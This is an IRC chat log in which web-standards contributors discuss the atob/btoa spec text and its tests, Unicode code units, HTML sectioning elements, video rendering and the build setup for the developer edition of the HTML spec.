AryehGregor: btw, you wouldn't be able to rely on the regexp to do the JS tests, since that would mean that an implementation that uses the regexp engine to implement it, yet has a bug in the JS engine, would fail both the test and the control

[11:44:03.0000] <annevk>
it's about the input to base64

[11:44:04.0000] <Hixie>
annevk: oh, my bad

[11:44:05.0000] <Hixie>
annevk: i thought you meant btoa()

[11:44:06.0000] <Hixie>
annevk: got them backwards

[11:44:07.0000] <AryehGregor>
It said "Otherwise, the user agent must convert [the input string] to a binary string . . ."

[11:45:00.0000] <AryehGregor>
Hixie, hmm.  But we have ES tests for that, right?  I mean, maybe there will be some bug in the browser so that the test harness is run incorrectly and sometimes reports wrong results.

[11:45:01.0000] <AryehGregor>
I think that if the test is written in JS, we have to assume a correct implementation of JS itself.

[11:45:02.0000] <annevk>
regular expressions, yay

[11:45:03.0000] <Hixie>
generally you want your tests to be as unlikely as possible to have false positives

[11:46:00.0000] <Hixie>
(false negatives, or rather, misattributed negatives, aren't a big deal)

[11:46:01.0000] <hsivonen>
so is this newly-announced desktop ARM stuff 32 or 64-bit?

[11:47:00.0000] <AryehGregor>
I could write a JavaScript file that generates the test file, but that seems excessively cumbersome for a theoretical correctness improvement.  In particular, I've reviewed all the test results and they look sane, and I also happen to know that Firefox doesn't actually use a regex to throw an exception.

[11:47:01.0000] <Hixie>
AryehGregor: personally i'd spec it without regexp, meaning you can test it with regexp with no problem, but that's just a personal preference. regexp in the spec is fine by me from a rational perspective. :-)

[11:47:02.0000] <AryehGregor>
I'll change it to non-regex if implementers prefer.

[11:47:03.0000] <AryehGregor>
I mainly did it in regex because it was shorter to spec and easier to write the test, but it's probably more annoying to implement.

[11:47:04.0000] <AryehGregor>
And implementers > spec writers, after all.

[11:47:05.0000] <Hixie>
AryehGregor: btw, having numbers in the steps is a good thing for discussion (otherwise, refering to specific steps is a pain)

[11:48:00.0000] <Hixie>
AryehGregor: "While position does not point past the end of input:" seems reasonable

[11:48:01.0000] <hsivonen>
bah. the Ballmer keynote requires Silverlight. Not gonna install that.

[11:48:02.0000] <AryehGregor>
The numbers change all the time, though.  That's the problem with all the numbers in HTML5.

[11:48:03.0000] <AryehGregor>
I originally filed feedback giving section numbers instead of names and you told me to stop because the numbers were different by the time you read the feedback.

[11:48:04.0000] <Hixie>
yeah but the sections have names, the steps don't :-)

[11:49:00.0000] <Hixie>
better to have _something_ to refer than nothing :-)

[11:49:01.0000] <Hixie>
anyway, <ul> is wrong because the order matters

[11:49:02.0000] <AryehGregor>
Using numbers creates the expectation that you'll actually refer to the numbers someplace in the prose.  But you don't do that.  I once suggested that you do that (or someone did) and you said you wouldn't because then you'd forget when the numbers changed and you'd make the spec wrong.

[11:49:03.0000] <Hixie>
yeah i used to refer to numbers and algorithms kept breaking when i changed them

[11:49:04.0000] <Hixie>
we really need a <ref> element to fix that

[11:50:00.0000] <AryehGregor>
You can give the number of the step even if it's not written down, assuming you're able to count.

[11:50:01.0000] <Hixie>
but that can wait til v2

[11:50:02.0000] <AryehGregor>
Or just improve your preprocessor.  :)

[11:50:03.0000] <Hixie>
hey that's not a bad idea

[11:50:04.0000] <Hixie>
i'll have to think about that

[11:50:05.0000] <Hixie>
as an anolis feature

[11:50:06.0000] <AryehGregor>
As for the definition, I realize that my usage is wrong according to what HTML5 says.  But authoring conformance requirements in HTML5 are more or less your personal opinion, so I feel free to ignore them if I disagree.

[11:50:07.0000] <Hixie>
anyway, counting is fine with the btoa() algorithm, but it doesn't scale

[11:50:08.0000] <AryehGregor>
So quote the beginning of the step.

[11:50:09.0000] <Hixie>
<ol>/<ul> hasn't changed since, like, html2

[11:51:00.0000] <Hixie>
hardly my opinion :-)

[11:51:01.0000] <hsivonen>
View Source reveals a VLC-compatible video stream. Lame to pretend that SIlverlight is needed.

[11:51:02.0000] <AryehGregor>
The fact that your opinion happens to accord with your predecessors' opinions on this point is immaterial.

[11:51:03.0000] <Hixie>
actually my opinion is that we should only have one list element

[11:51:04.0000] <Hixie>
i don't really see why we have two

[11:52:00.0000] <Hixie>
but i try not to let my opinion affect the spec _too_ much :-P

[11:52:01.0000] <AryehGregor>
So <list type=1> instead of <ol>, or what?  You can't leave the numbering to CSS, clearly.

[11:52:02.0000] <annevk>
might end up with HHTML

[11:52:03.0000] <annevk>
if you did that

[11:52:04.0000] <Hixie>
AryehGregor: dunno, haven't thought about it much, since it doesn't matter :-)

[11:52:05.0000] <AryehGregor>
:)

[11:52:06.0000] <Hixie>
if i got to write HHTML according to my opinions, it would look so different it's not even funny

[11:53:00.0000] <Hixie>
we'd get to strip out microdata :-)

[11:53:01.0000] <AryehGregor>
Okay, I'll put that text at a more permanent URL and send a link to whatwg.

[11:53:02.0000] <Hixie>
and <object>, <div>, clas=""...

[11:53:03.0000] <Hixie>
AryehGregor: thanks

[11:53:04.0000] <Hixie>
also we'd use a totally different syntax

[11:53:05.0000] <annevk>
@html@ what is happening?! @-html@

[11:54:00.0000] <AryehGregor>
Do I have my headings backwards?

[11:54:01.0000] <AryehGregor>
I have the btoa algorithm labeled atob and vice versa.

[11:54:02.0000] <AryehGregor>
Oops.

[11:54:03.0000] <annevk>
that explains why Hixie was confused

[11:54:04.0000] <AryehGregor>
Poof.

[11:54:05.0000] <Hixie>
i thought the names were a bit odd, but i just figured that it was yet more historical weirdness :-)

[11:55:00.0000] <annevk>
btoa (formerly atob) still says binary string

[11:55:01.0000] <annevk>
there were two instances originally

[11:56:00.0000] <AryehGregor>
I fixed that like a minute before you pointed it out.

[11:56:01.0000] <annevk>
no -moz-column-count and -o-column-count?

[11:56:02.0000] <annevk>
ninja edits...

[11:56:03.0000] <AryehGregor>
Oops.

[11:57:00.0000] <AryehGregor>
I intended to make that cross-browser but forgot about it.

[11:58:00.0000] <annevk>
there must be an easier way to say what you did there btw

[11:58:01.0000] <AryehGregor>
Which part?

[11:58:02.0000] <annevk>
like take the code point and subtract some amount

[11:58:03.0000] <AryehGregor>
(It seems like display: run-in isn't working as I expect except in WebKit.)

[11:58:04.0000] <AryehGregor>
You have to have about five cases then.

[11:58:05.0000] <Hixie>
oh one thing you should add is a class=note explaining why you didn't defer to the base64 spec for decoding

[11:58:06.0000] <volkmar>
Hixie: i meant "a@a, b@b, c@c, " in the UI, what should be the DOM value in that case?

[11:58:07.0000] <Hixie>
otherwise julian will ask me to add such a note

[11:58:08.0000] <AryehGregor>
It's what I do in my test implementation, but I thought it was simpler to understand at a glance if I wrote the spec this way.

[11:59:00.0000] <AryehGregor>
I carefully chose five columns so they'd line up nicely.

[11:59:01.0000] <Hixie>
volkmar: depends. Does the UI think that's four values or three?

[11:59:02.0000] <annevk>
AryehGregor, oh okay, then a table is probably easier

[12:00:00.0000] <Hixie>
volkmar: i.e. has the user entered three e-mail addresses, or has he entered four, one of which is the empty string?

[12:01:00.0000] <Hixie>
volkmar: it's probably easier to think about it if we describe the UI in other terms, e.g. "[a@a] [b@b] [c@c]" is obviously three items, and "[a@a] [b@b] [c@c] []" is obviously four -- which one describes what you meant?

[12:02:00.0000] <AryehGregor>
Note added.

[12:02:01.0000] <volkmar>
Hixie: if you see the control as a text field, the user can write textually "a@a, b@b, c@c, "

[12:02:02.0000] <AryehGregor>
Actually, come to think of it, if we threw an exception for like one more thing, I could defer to RFC 4648 for decoding too.

[12:02:03.0000] <volkmar>
but if you leave that choice to the UI... ok

[12:03:00.0000] <AryehGregor>
As far as I can tell, there's only one fairly marginal corner case of invalid input where Firefox doesn't throw an exception.

[12:03:01.0000] <AryehGregor>
(note in second-to-last step)

[12:04:00.0000] <oojacoboo>
just to clarify, <section> tags should all be on the same level, not having any child <section> elements, corect?

[12:04:01.0000] <Hixie>
volkmar: i dunno that atstraight text field is a particularly good UI for this, but yeah, it's up to the UA. So in this case it'd probably be most helpful if the UA considered empty strings as being entries removed from the list, and didn't include them in the /value/

[12:04:02.0000] <AryehGregor>
Well, other than if the trailing = signs are missing.

[12:04:03.0000] <Hixie>
oojacoboo: you can nest <section> elements

[12:04:04.0000] <Hixie>
oojacoboo: those are subsections

[12:04:05.0000] <oojacoboo>
Hixie: ok, thanks

[12:05:00.0000] <Hixie>
oojacoboo: e.g. the example in http://www.whatwg.org/specs/web-apps/current-work/complete/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements

[12:05:01.0000] <Hixie>
AryehGregor: that would certainly simplify the spec!

[12:06:00.0000] <Hixie>
AryehGregor: you can also just hard-code the return values for specific inputs, e.g. if the empty string is an undefined case, you can just say "return the empty string" for that case and only defer to the algorithm for the well-defined cases

[12:06:01.0000] <AryehGregor>
Then I could specify that if you add trailing = signs, btoa(atob(s)) == s unless one of the functions throws an exception.

[12:06:02.0000] <oojacoboo>
Hixie: ok cool, I was under the impression that it was best not to nest, but that makes sense for sub-sections

[12:06:03.0000] <Hixie>
/me changes the HTML spec on the WHATWG site from "Draft Standard" to "Living Standard" to more accurately reflect reality

[12:06:04.0000] <AryehGregor>
That would be a good correctness check.

[12:06:05.0000] <Ms2ger>
/me likes

[12:14:00.0000] <annevk>
makes it sound like it needs watering

[12:15:00.0000] <Ms2ger>
Well, it does

[12:16:00.0000] <Hixie>
indeed

[12:16:01.0000] <annevk>
and I guess it grows things too

[12:16:02.0000] <annevk>
still

[12:16:03.0000] <annevk>
:)

[12:20:00.0000] <AryehGregor>
Okay, e-mail sent.

[12:21:00.0000] <AryehGregor>
I'll ask for the tests to be approved by the Testing Task Force as soon as something is added to the spec.

[12:22:00.0000] <AryehGregor>
hallvors is working on copy-paste stuff?  Does he have a public spec, and how can I contact him?

[12:23:00.0000] <annevk>
see wiki.whatwg.org/wiki/Specs

[12:23:01.0000] <Ms2ger>
AryehGregor, he sends snapshots to public-webapps, apparently

[12:23:02.0000] <AryehGregor>
Oh, right, thanks.

[12:23:03.0000] <annevk>
his email address can be found in the archives to public-webapps

[12:27:00.0000] <AryehGregor>
Does the web app WG share its test suite with the HTMLWG, or is it separate?

[12:29:00.0000] <Ms2ger>
Officially separate

[12:33:00.0000] <AryehGregor>
Tiresome.

[12:33:01.0000] <beowulf>
hgroup, would it perhaps make things less confusing for whoever is confused if it were named <headline> ?

[12:33:02.0000] <AryehGregor>
Is it set up the same way, at least?

[12:35:00.0000] <AryehGregor>
Looks like it, so no big deal.

[12:37:00.0000] <annevk>
we want to use the same framework and all

[12:37:01.0000] <beowulf>
my reasoning, which is no doubt faulty, is that hgroup is about headlines of various types, the sort described here for example http://goo.gl/5wCVt

[12:38:00.0000] <Hixie>
is the title and subheading of the spec a headline?

[12:38:01.0000] <beowulf>
depends if the are run on i suppose

[12:39:00.0000] <beowulf>
/me goes to look at the spec headline

[12:39:01.0000] <Hixie>
top of whatwg.org/c

[12:39:02.0000] <Hixie>
(top of whatwg.org/C if you prefer the multipage copy)

[12:39:03.0000] <beowulf>
i'm tempted to say yes

[12:43:00.0000] <aho>
hm. hgroup>h1+h2+h2 (zen expression) is fine, too, right?

[12:43:01.0000] <aho>
i.e. <hgroup><h1>...</h1><h2>...</h2><h2>...</h2></hgroup>

[12:45:00.0000] <beowulf>
i don't understand the question :)

[12:45:01.0000] <aho>
well, having one h1 and two h2s there

[12:46:00.0000] <aho>
http://kaioa.com/k/td/docs/javascript%20code%20conventions/index.html

[12:46:01.0000] <aho>
rev + date got the same weight

[12:46:02.0000] <aho>
brs are silly :>

[12:47:00.0000] <beowulf>
works for me

[12:49:00.0000] <Philip`>
hsivonen: Since NVIDIA explicitly mentions supercomputers, it sounds quite likely that either they're thinking of 64-bit addressing or whoever wrote the press release was wildly misinformed

[12:50:00.0000] <Philip`>
(Looks like ARM hasn't released or announced anything 64-bit yet, though)

[12:50:01.0000] <AryehGregor>
Sheesh, ARM isn't 64-bit?  That will have to change for the server market, let alone supercomputers.

[12:52:00.0000] <Philip`>
It can apparently do 1TB RAM with PAE, which is probably okay for servers that run lots of small processes

[12:53:00.0000] <Philip`>
(It only hurts when you need >4GB in a single virtual address space)

[12:55:00.0000] <AryehGregor>
Like, say, a database server.

[12:55:01.0000] <AryehGregor>
Or any kind of data processing.

[13:07:00.0000] <Philip`>
AryehGregor: About btoa: What if the input string contains U+FFFF? That's a noncharacter, so it's not a character whose code point is strictly greater than U+00FF

[13:08:00.0000] <AryehGregor>
Philip`, how is U+FFFF not a character?  What are JavaScript strings if not sequences of characters?  Sequences of UTF-16 thingies, the maybe-characters-maybe-half-characters?

[13:08:01.0000] <Philip`>
It's defined as a noncharacter, and I don't think noncharacters are characters

[13:08:02.0000] <Philip`>
hence being called noncharacters

[13:09:00.0000] <Philip`>
JS strings are sequences of 16-bit code units, I think

[13:10:00.0000] <Philip`>
which sometimes are conceptually decoded as (possibly invalid) UTF-16 into a sequence of Unicode characters

[13:11:00.0000] <Philip`>
(I don't know what WebIDL strings are)

[13:12:00.0000] <heycam>
same

[13:12:01.0000] <Philip`>
Ah, that sounds minimally crazy then

[13:19:00.0000] <annevk>
hmm

[13:19:01.0000] <annevk>
so whenever we talk about characters we should use 16-bit code units?

[13:20:00.0000] <annevk>
and define the mapping somewhere between 16-bit code units and Unicode?

[13:20:01.0000] <annevk>
XMLHttpRequest has the greather than U+00FF thing too

[13:20:02.0000] <annevk>
greater*

[13:21:00.0000] <Philip`>
In the >U+00FF case it's kind of pointless pedantry because everyone will presumably implement what you expect

[13:22:00.0000] <annevk>
wait, you can just substitute character for code point

[13:22:01.0000] <Philip`>
It might matter more in the case of lone surrogates

[13:22:02.0000] <annevk>
just talk about code points and it's okay

[13:22:03.0000] <annevk>
afaik

[13:24:00.0000] <Philip`>
Is "\ud800\udc00" two code points or one?

[13:24:01.0000] <Philip`>
Maybe "code units" is a safer term since it's not suggesting a direct correspondence to Unicode characters

[13:26:00.0000] <Philip`>
(and when you do care about the correspondence, you should use an explicit encoding/decoding step)

[13:26:01.0000] <annevk>
a single surrogate is a code point

[13:26:02.0000] <annevk>
not sure Unicode has defined code unit

[13:26:03.0000] <heycam>
"code unit" is on http://unicode.org/glossary/

[13:29:00.0000] <annevk>
http://en.wikipedia.org/wiki/Unicode#Character_categories

[13:29:01.0000] <jamesr_>
AryehGregor: JavaScript strings are sequences of 16 bit numbers

[13:36:00.0000] <Hixie>
the html spec uses "character" to mean "code point", fwiw

[13:36:01.0000] <Hixie>
i guess maybe i should add that to the terminology section

[13:38:00.0000] <jamesr_>
Hixie: wait, so what's the number of "characters" (as per the html spec) in this string: "a𐅐c" ? 3?

[13:39:00.0000] <jamesr_>
it's 3 unicode code points, but in javascript "a𐅐c".length === 4

[13:40:00.0000] <jamesr_>
because it's 4 16-bit code units

[13:40:01.0000] <jamesr_>
and does it ever matter?

[13:40:02.0000] <Hixie>
i don't have a utf-8 clean workflow, so i'm not sure what you pasted, but the answer is likely 3 if i guessed correctly what you meant.

[13:40:03.0000] <Hixie>
i don't think the length ever matters

[13:40:04.0000] <Hixie>
maybe for textarea.length or whatever that's called

[13:41:00.0000] <jamesr_>
i pasted "a" "character that is represented by a surrogate pair in utf-16" "c"

[13:41:01.0000] <Hixie>
yeah, that's three characters

[13:41:02.0000] <jamesr_>
but .length on it in JS is 4

[13:41:03.0000] <Hixie>
where things are done in 16bit code units it's called out explicitly

[13:41:04.0000] <jamesr_>
grr. javascript is the worst

[13:41:05.0000] <Hixie>
(that might be nowhere)

[14:09:00.0000] <stevela>
Am wondering what the behavior for a video element should be when presented with a non-video src (e.g. an mp3). webkit will play it, but controls are messed up (as are those in chrome) due to the size being 0x0. Visually, should it appear as an audio element?

[14:10:00.0000] <stevela>
i.e. with an non-video source, and the controls attribute set

[14:15:00.0000] <aho>
it should cause the monitor to explode into the developers face. obviously.

[14:15:01.0000] <AryehGregor>
stevela, doesn't sound like a standards issue to me, sounds like a QoI issue.  File bugs against the browsers.

[14:17:00.0000] <Hixie>
stevela: unless there's css setting the size, it should render a 0x0 box and play the music.

[14:18:00.0000] <Hixie>
stevela: if there's css setting the size, it should render a box of the given size and play the music.

[14:18:01.0000] <Hixie>
well, playing the music depends on autoplay="" being set and on the mp3 being music, obviously.

[14:19:00.0000] <stevela>
[btw - am working on chrome]. Thx. what about the controls though. I guess as they're inside the box, then they shouldn't be visible, even if asked for.

[14:19:01.0000] <AryehGregor>
(listen to Hixie, not me)

[14:20:00.0000] <Hixie>
well what happens to the controls is independent of whether the video is a video or an mp3 -- the same should happen regardless, if the size is 0x0

[14:20:01.0000] <Hixie>
or 1x1, or anything smaller than the controls expect

[14:20:02.0000] <stevela>
thx Hixie,

[14:21:00.0000] <Hixie>
basically, do a best-effort attempt to make useful controls i the given size, maybe floating over the page, bigger than the <video>'s rendering area, or displaying just a single button that pops up a control window, or just have a context menu, or maybe just do nothing

[14:21:01.0000] <Hixie>
but especially, whatever you do should be clearly superior to what any other browser does :-)

[14:22:00.0000] <stevela>
:-)

[14:28:00.0000] <jamesr_>
make a really, really, really small pause button

[14:29:00.0000] <AryehGregor>
0 pixels wide?

[14:36:00.0000] <Hixie>
if you add an element with qualified name "foo:bar" and namespace "baz" to an HTML element in an HTML document, and then get its parent's innerHTML, what should you get?

[14:36:01.0000] <Hixie>
<foo:bar></foo:bar>? <bar></bar>? nothing?

[14:36:02.0000] <Hixie>
i guess the former

[14:43:00.0000] <Hixie>
xmlns:xmlns="" and xmlns="" are the same attribute?

[14:43:01.0000] <Hixie>
that's just confusing

[14:50:00.0000] <annevk>
Hixie, they're not

[14:50:01.0000] <annevk>
Hixie, you cannot declare xmlns as a prefix

[14:51:00.0000] <annevk>
Hixie, see http://www.w3.org/TR/xml-names/#xmlReserved

[14:51:01.0000] <Hixie>
sure, it's invalid

[14:51:02.0000] <Hixie>
or non-well-formed or whatever

[14:51:03.0000] <Hixie>
i just meant conceptually

[14:51:04.0000] <karlcow>
conceptually or practically in the browser?

[14:52:00.0000] <annevk>
it's not a concept per the XML spec :)

[14:52:01.0000] <karlcow>
because conceptually :) we can imagine a lot of cool things

[14:52:02.0000] <annevk>
karlcow, browsers handle this correctly

[14:52:03.0000] <Hixie>
xmlns="" is in the xmlns namespace, so it's basically xmlns:xmlns=""... so conceputally, setting the xmlns: prefix's namespace is what you're doing when you set the default namespace for element names. :-P

[14:52:04.0000] <Hixie>
that's all i'm saying :-P

[14:53:00.0000] <karlcow>
Hixie: did you watch too much of inception lately? ;)

[14:54:00.0000] <Hixie>
k, 11099 is resolved

[14:57:00.0000] <annevk>
hmm, interesting way of solving it

[14:57:01.0000] <annevk>
I guess it makes sense to have element specific knowledge

[14:58:00.0000] <annevk>
I mean namespace

[14:59:00.0000] <Hixie>
well there had to be some namespace-specific knowledge to address hsivonen's point

[14:59:01.0000] <Hixie>
but i tried to keep it to a minimum

[15:01:00.0000] <annevk>
hmm

[15:01:01.0000] <annevk>
HTML5 Tracker has no homepage link

[15:01:02.0000] <annevk>
fail

[15:01:03.0000] <annevk>
something for tomorrow

[15:08:00.0000] <benschwarz>
Hixie: !ping

[15:08:01.0000] <Hixie>
yo

[15:10:00.0000] <benschwarz>
Hixie: I wanted to see what we can do about making some changes to the markup for developers.

[15:11:00.0000] <Hixie>
sure thing

[15:11:01.0000] <benschwarz>
how is best to request the changes?

[15:11:02.0000] <benschwarz>
I can give you a couple of simple ones to get runnning

[15:12:00.0000] <Hixie>
let's start by discussing them here

[15:12:01.0000] <benschwarz>
sure—

[15:12:02.0000] <benschwarz>
I'd like some kind of wrapping element around the main title

[15:13:00.0000] <benschwarz>
"HTML5 (including next generation additions still in development)"

[15:13:01.0000] <benschwarz>
either moving the "including next gener…" to another element, or wrapping it with a span

[15:14:00.0000] <Hixie>
i really should just change that entire line to "HTML"

[15:14:01.0000] <Hixie>
but people complained when i did that because they wanted the "HTML5" buzzword there, even though the spec is no longer HTML5

[15:15:00.0000] <benschwarz>
Hixie: really, I'd like it to say something like

[15:15:01.0000] <benschwarz>
http://dev.w3.org/html5/spec-author-view/

[15:15:02.0000] <benschwarz>
but that isn't up to me :)

[15:17:00.0000] <Hixie>
ok i put a span around the parenthetical and gave you some IDs so you can just drop the span and add another h2 or something for the "Edition for Web Developers" bit

[15:17:01.0000] <Hixie>
take a look

[15:19:00.0000] <Hixie>
and it is up to you btw :-)

[15:19:01.0000] <Hixie>
you have full authority over what the dev copy says

[15:20:00.0000] <benschwarz>
Hixie: Excellent :)

[15:20:01.0000] <benschwarz>
Hixie: https://github.com/benschwarz/developers.whatwg.org

[15:21:00.0000] <Hixie>
man you have to love the rube goldberg machine we're building here

[15:22:00.0000] <Hixie>
between the scripts i have (perl, bash, and python), the web services that my stuff invokes (anolis, the spec splitter), the stuff mike uses at w3c, and now the stuff you're doing (adding ruby to the mix), it's really astounding.

[15:23:00.0000] <benschwarz>
Hixie: I found the python really over whelming. I'd be happy to convert it all to something more simple

[15:23:01.0000] <benschwarz>
that is, across the board

[15:23:02.0000] <Hixie>
oh no, do whatever is easiest! it wasn't a criticism at all.

[15:23:03.0000] <benschwarz>
Hixie: but yeah, what a mix-mash!

[15:24:00.0000] <benschwarz>
You'll also note deploy.sh

[15:24:01.0000] <benschwarz>
otherwise, there isn't a lot going on.

[15:24:02.0000] <Hixie>
and we have to have at least five different version control mechanisms at this point, i think - svn at whatwg.org, cvs at w3c, the google code svn for some of the spec splitter code and the tracker code, plus you're using what, git? mercurial?

[15:25:00.0000] <Hixie>
i love it

[15:25:01.0000] <benschwarz>
my ruby removes all styles and scripts… from the spec

[15:25:02.0000] <benschwarz>
so like mike was saying to me yesterday

[15:25:03.0000] <benschwarz>
the links that were hidden with js

[15:25:04.0000] <benschwarz>
or inactivated or whatever

[15:25:05.0000] <benschwarz>
will need some attention, but I just won't know which ones for a bit

[15:25:06.0000] <Hixie>
hmm... you know, maybe we're better off having me generate you a version of the spec that doesn't have the styles and scripts to start off with

[15:26:00.0000] <Hixie>
would that help?

[15:26:01.0000] <Hixie>
or is it a sunk cost now

[15:27:00.0000] <benschwarz>
Hixie: I really don't mind… whatever is easiest. Being that I'm injecting my own scripts and styles…

[15:29:00.0000] <benschwarz>
oh, and I'm using git

[15:30:00.0000] <benschwarz>
Hixie: so if we can change the wording to read something like the dev.w3c author spec…

[15:31:00.0000] <benschwarz>
Hixie: can you please add <meta name="viewport" content="width=device-width;">

[15:32:00.0000] <benschwarz>
and <meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'>

[15:33:00.0000] <Hixie>
ew

[15:33:01.0000] <Hixie>
neither of those are, like, standard

[15:33:02.0000] <Hixie>
but sure!

[15:33:03.0000] <benschwarz>
Have you read the HTML in the spec? :P

[15:34:00.0000] <Hixie>
how do you mean?

[15:34:01.0000] <benschwarz>
Oh its just hard to style

[15:35:00.0000] <Hixie>
ah, well, yes, possibly :-)

[15:35:01.0000] <Hixie>
if there's anything not too invasive i can do to help, let me know

[15:35:02.0000] <benschwarz>
Hixie: I'll think about it. Right now I'm just porting everything over and getting back to step 1 :)

[15:35:03.0000] <Hixie>
:-)

[15:37:00.0000] <benschwarz>
Hixie: FYI, I've been pushing builds http://developers.whatwg.org/ on a regular basis

[15:37:01.0000] <benschwarz>
not really ready yet though

[15:37:02.0000] <Hixie>
cool

[15:37:03.0000] <benschwarz>
Hixie: where can I track the changes to this?

[15:37:04.0000] <benschwarz>
or are you editing live then commiting later?

[15:38:00.0000] <Hixie>
editing live, but i'm updating my script to generate you a clean header without scripts and styles and stuff, and i ran into a minor problem in my script doing that

[15:38:01.0000] <Hixie>
so it'll be a moment

[15:42:00.0000] <benschwarz>
Hixie: no worries

[15:47:00.0000] <Hixie>
ok i've added a separate output for my system for developers.whatwg.org specifically, so i can now include or exclude whole sections for you, and can have a separate header too

[15:48:00.0000] <Hixie>
at some point i'll work out how to give you the header file so that you can edit it yourself without needing to ask me to make the edits

[15:48:01.0000] <Hixie>
(though i'll still need to run the script manually)

[15:48:02.0000] <Hixie>
http://www.whatwg.org/specs/web-apps/current-work/dev-index

[15:48:03.0000] <Hixie>
use that instead of the file you're using now

[15:49:00.0000] <Hixie>
let's see, how can we make that file easily accessible for you

[15:49:01.0000] <Hixie>
oh, i know

[15:50:00.0000] <Hixie>
benschwarz: put http://www.whatwg.org/specs/web-apps/current-work/header-whatwg-dev somewhere on developers.whatwg.org in a location i can wget

[15:51:00.0000] <benschwarz>
Hixie: um, okay :)

[15:51:01.0000] <benschwarz>
this is so meta

[15:51:02.0000] <Hixie>
heh

[15:52:00.0000] <benschwarz>
I think that will mess with my build process and confuse other people a bit

[15:52:01.0000] <Hixie>
hm, possibly

[15:52:02.0000] <Hixie>
alternatively i can just make the header file as blank as possible so you can just mutate it as you want afterwards

[15:52:03.0000] <benschwarz>
I won't make a lot more changes

[15:53:00.0000] <benschwarz>
probably to other sections, I reckon

[15:54:00.0000] <Hixie>
well if you change your mind we can figure out where to put that file later

[15:54:01.0000] <Hixie>
in the meantime, use http://www.whatwg.org/specs/web-apps/current-work/dev-index as your input

[15:54:02.0000] <Hixie>
it has a bare minimum header, just what you asked for and nothing else

[15:55:00.0000] <benschwarz>
Yeah, excellent :)

[15:55:01.0000] <Hixie>
i can make it ever barer if you'd rather have your script add the <meta>s and stuff

[15:55:02.0000] <Hixie>
up to you

[15:55:03.0000] <benschwarz>
https://gist.github.com/7bc50d8b81601db45031

[15:55:04.0000] <benschwarz>
oh noes!

[15:56:00.0000] <Hixie>
uh oh

[15:56:01.0000] <Hixie>
what do i need to add back, any idea?

[15:57:00.0000] <benschwarz>
no idea

[15:57:01.0000] <benschwarz>
that scary splitter

[15:58:00.0000] <Hixie>
ah, it wants a class=head


2011-01-07
[16:00:00.0000] <Hixie>
ok try grabbing it now

[16:00:01.0000] <Hixie>
http://www.whatwg.org/specs/web-apps/current-work/dev-index

[16:01:00.0000] <benschwarz>
Hixie: how brittle

[16:01:01.0000] <benschwarz>
and hard to read :)

[16:02:00.0000] <benschwarz>
still breaks…

[16:03:00.0000] <Hixie>
ah, it wants two elements in the head, because the "real" spec has a paragraph with the logo before the <header> :-)

[16:03:01.0000] <Hixie>
hold on

[16:05:00.0000] <Hixie>
regenning

[16:05:01.0000] <Hixie>
ready

[16:05:02.0000] <Hixie>
http://www.whatwg.org/specs/web-apps/current-work/dev-index

[16:10:00.0000] <benschwarz>
trying again

[16:13:00.0000] <benschwarz>
success

[16:13:01.0000] <benschwarz>
Hixie: http://developers.whatwg.org/

[16:13:02.0000] <Hixie>
note: i just updated some of the mailman settings for the WHATWG list. Please let me know ASAP if you notice anything broken. Thanks!

[16:14:00.0000] <jamesr_>
benschwarz: shiny

[16:14:01.0000] <benschwarz>
jamesr_: a bit to go yet, but we're getting there

[16:14:02.0000] <Hixie>
I guess I should mark the "This section is non-normative" bits as class=impl

[16:16:00.0000] <Hixie>
well, maybe not

[16:17:00.0000] <Hixie>
the spec is still a spec, even though it's missing the UA bits

[16:18:00.0000] <Hixie>
benschwarz: http://developers.whatwg.org/introduction.html#typographic-conventions -- should I hide some of those from the dev version, or will they at some point get special styles again?

[16:18:01.0000] <benschwarz>
 Hixie "This section is non-normative" doesn't mean anything to anyone… who isn't apart of the whole specification creation process

[16:19:00.0000] <benschwarz>
Hixie: I'll sort those, thanks for pointing them out

[16:20:00.0000] <Hixie>
while you're doing those, dropping all the styles means you've dropped the styles for DOM trees, e.g. search for "DOCTYPE: html" on that page and compare to the HTML spec

[16:20:01.0000] <benschwarz>
Hixie: the opera boys will be happy anyway, they can see their toc

[16:21:00.0000] <benschwarz>
Hixie: https://github.com/benschwarz/developers.whatwg.org/issues/issue/2

[16:21:01.0000] <Hixie>
there's also some specific styles in view-source:http://www.whatwg.org/specs/web-apps/current-work/middle-override-styles you might want to grab

[16:21:02.0000] <benschwarz>
and yeah, I'll look at those trees, those were always styled badly in my version

[16:21:03.0000] <Hixie>
#table-example-1 for instance, which tries to make that example look more like the book it was taken from

[16:22:00.0000] <benschwarz>
Hixie: I'll go through the entire spec and try to make it look right

[16:22:01.0000] <benschwarz>
all I've really done is slash and burn, then bring over my styles

[16:22:02.0000] <Hixie>
cool

[16:23:00.0000] <benschwarz>
which had crazy overrides for the w3c and whatwg stylesheets

[16:23:01.0000] <Hixie>
should i drop the Conformance requirements section too?

[16:23:02.0000] <benschwarz>
so it was all a bit much

[16:23:03.0000] <Hixie>
and maybe some of the other stuff in that section

[16:23:04.0000] <Hixie>
woah, the UTF-8 section isn't properly marked

[16:24:00.0000] <benschwarz>
not sure, anything past the introduction is good content

[16:25:00.0000] <benschwarz>
where is that Hixie ?

[16:25:01.0000] <Hixie>
2.2 and 2.4 respectively

[16:25:02.0000] <Hixie>
2.4 will be gone as soon as i regen the spec

[16:25:03.0000] <Hixie>
i'm working on 2.2

[16:25:04.0000] <Hixie>
got to make 2.2.1 turn into an h3

[16:25:05.0000] <benschwarz>
okay.

[16:25:06.0000] <Hixie>
i have some special magic for that

[16:25:07.0000] <benschwarz>
I need to roll now…

[16:26:00.0000] <Hixie>
later

[16:26:01.0000] <Hixie>
and thanks!

[16:26:02.0000] <Hixie>
this stuff is awesome

[16:26:03.0000] <benschwarz>
Hixie: make it known around this channel that issues are useful!

[16:26:04.0000] <Hixie>
people are gonna love it

[16:26:05.0000] <Hixie>
will do

[16:26:06.0000] <benschwarz>
https://github.com/benschwarz/developers.whatwg.org/issues/

[16:26:07.0000] <benschwarz>
I haven't been through it at all, but it'll be good to know what people find straight away

[16:27:00.0000] <benschwarz>
okay. good work!

[16:27:01.0000] <benschwarz>
talk laters

[16:34:00.0000] <benschwarz>
ps Hixie: I'll need a way to determine that the date and the secondary header are different :)

[16:34:01.0000] <benschwarz>
maybe a <time> tag, hey?

[16:34:02.0000] <paul_irish>
;)

[16:34:03.0000] <Hixie>
how do you mean?

[16:35:00.0000] <benschwarz>
check the live copy…

[16:36:00.0000] <benschwarz>
I have to use "header h1 + h2" to target that first h2

[16:36:01.0000] <benschwarz>
or the first after the h1, that is

